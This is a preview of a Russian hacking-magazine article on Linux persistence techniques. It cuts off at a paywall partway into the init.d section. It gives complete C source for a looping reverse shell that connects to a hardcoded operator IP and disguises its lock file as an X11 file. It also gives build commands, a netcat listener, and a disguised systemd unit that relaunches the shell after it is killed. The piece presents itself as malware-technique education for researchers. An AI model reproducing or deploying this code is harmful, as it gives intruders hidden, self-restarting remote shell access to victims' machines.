Содержание статьи
kill. Канал первоначального доступа могут закрыть, например сменив пароль или установив обновление, которое устраняет уязвимость.Закрепиться в Linux можно множеством способов. Некоторые семплы перебирают разные варианты и выбирают доступный. Сегодня мы с тобой разберем девять техник, которые я встречал в реальных вредоносах:
systemd;system service init.;d crontab;@reboot systemd;user timer .;bashrc systemd;user service XDG;Autostart udev;rule LD_PRELOAD.
Пишем малварь
Для демонстрации закрепления напишу простенький реверс‑шелл. Если не знаешь, что это такое, прочитай мою статью «Реверс‑шелл с самого начала. Как заставить сервер подключиться к нам».
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <sys/file.h>#include <netinet/in.h>#include <arpa/inet.h>#include <signal.h>#define C2_IP "192.168.0.153"#define C2_PORT 1337int main(void){ int lf = open("/tmp/.X11-lock", O_CREAT | O_RDWR, 0600); if(lf < 0 || flock(lf, LOCK_EX | LOCK_NB) < 0) return 1; signal(SIGCHLD, SIG_IGN); for(;;){ int s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(C2_PORT), }; inet_pton(AF_INET, C2_IP, &sa.sin_addr); if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0){ if(fork() == 0){ dup2(s, 0); dup2(s, 1); dup2(s, 2); execl("/bin/bash", "bash", NULL); } } close(s); sleep(600); }}Разберем, что тут происходит. Первым делом открываем файл / и с помощью flock ставим эксклюзивную блокировку. Если файл уже заблокирован, значит, копия уже работает, и мы молча выходим. Это защита от дублей: сколько бы раз мы ни попытались запустить наш бинарник, работать будет только один экземпляр. Имя файла специально маскируется под X11 — такие файлы в / никого не удивят.
SIGCHLD ставим в SIG_IGN, чтобы дочерние процессы не превращались в зомби. Дальше запускаем бесконечный цикл: пытаемся подключиться к оператору, а при успешном подключении вызываем fork(. Дочерний процесс получает шелл через dup2 и execl, а родительский закрывает сокет, ждет десять минут и пробует снова. Даже если оператор отключится, через десять минут прилетит новый шелл.
Собираем, зачищаем и кладем PoC в /. Обычно / чистится при перезагрузке, а нам нужно, чтобы бинарник ее пережил:
gcc -o poc poc.c -O3
strip poc
cp poc /opt/poc
На своей машине запускаем слушатель:
nc -lvnp 1337Запуск при загрузке системы
Начнем с самого простого — автоматического запуска вместе с системой.
systemd service
- Техника T1543.002
Самый прямолинейный способ. Создаем юнит‑файл в /, и systemd будет запускать наш бинарь при каждой загрузке как системный сервис. Название выбираем неброское, неприметное. Например, not_malware. Идеально!
Напишем конфиг для not_malware.:
[Unit]Description=System Monitor ServiceAfter=network.target[Service]Type=simpleExecStart=/opt/pocRestart=alwaysRestartSec=10[Install]WantedBy=multi-user.targetРазберем ключевые поля:
After=network.— ждем готовности сети, иначе реверс‑шелл попытается подключиться, когда интерфейс еще не готов;target Restart=always+RestartSec=10— если процесс завершат командойkill,systemdперезапустит его через десять секунд;WantedBy=multi-user.— сервис запускается в обычном многопользовательском режиме, то есть практически при любой загрузке.target
Активируем:
systemctl daemon-reload
systemctl enable --now not_malware.service
Флаг --now сразу запускает сервис, не дожидаясь перезагрузки. Проверяем:
systemctl status not_malware.service
● not_malware.service - System Monitor Service
Loaded: loaded (/etc/systemd/system/not_malware.service; enabled; vendor preset: disabled)
Active: active (running) since Wed 2026-07-15 23:08:40 MSK; 801ms ago
Main PID: 4536 (poc)
Tasks: 2 (limit: 2298)
Memory: 560.0K
CPU: 22ms
CGroup: /system.slice/not_malware.service
├─ 4536 /opt/poc
└─ 4537 bashСервис активен и будет запускаться при каждой загрузке. Проверим перезапуск: найдем процесс, убьем его и посмотрим, запустился ли он снова:
[cu63@fedora systemd_system_service]$ ps aux | grep poc root 4536 0.0 0.0 2472 1024 ? Ss 23:08 0:00 /opt/poc cu63 4575 0.0 0.1 222192 2432 pts/0 S+ 23:13 0:00 grep --color=auto po [cu63@fedora systemd_system_service]$ sudo kill 4536 [cu63@fedora systemd_system_service]$ ps aux | grep poc root 4618 0.0 0.0 2472 1024 ? Ss 23:14 0:00 /opt/poc cu63 4623 0.0 0.1 222192 2432 pts/0 S+ 23:14 0:00 grep --color=auto poc
Готово. Способ хороший, но заметный: юнит‑файл лежит на виду, а systemctl покажет включенный сервис.

Чтобы удалить сервис, используй следующие команды:
systemctl disable --now not_malware.service
rm /etc/systemd/system/not_malware.service
systemctl daemon-reload
init.d
- Техника T1037.004
Еще до появления systemd в Linux использовали систему инициализации SysVinit. Сервисы в ней описывались скриптами оболочки в каталоге /. Каждый скрипт должен был обрабатывать аргументы start, stop и restart. Команда service передавала скриптам эти аргументы и так управляла сервисами.
В SysVinit режим работы системы называется runlevel. Основные режимы:
0— выключение;1— однопользовательский режим;2–5— обычная работа;6— перезагрузка.
Для каждого уровня запуска есть свой каталог: /, / и так далее до rc6. (в Debian они находятся прямо в /). Внутри — символические ссылки на скрипты из /:
/etc/rc.d/rc3.d/S99not_malware → ../init.d/not_malware
/etc/rc.d/rc0.d/K01not_malware → ../init.d/not_malware
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
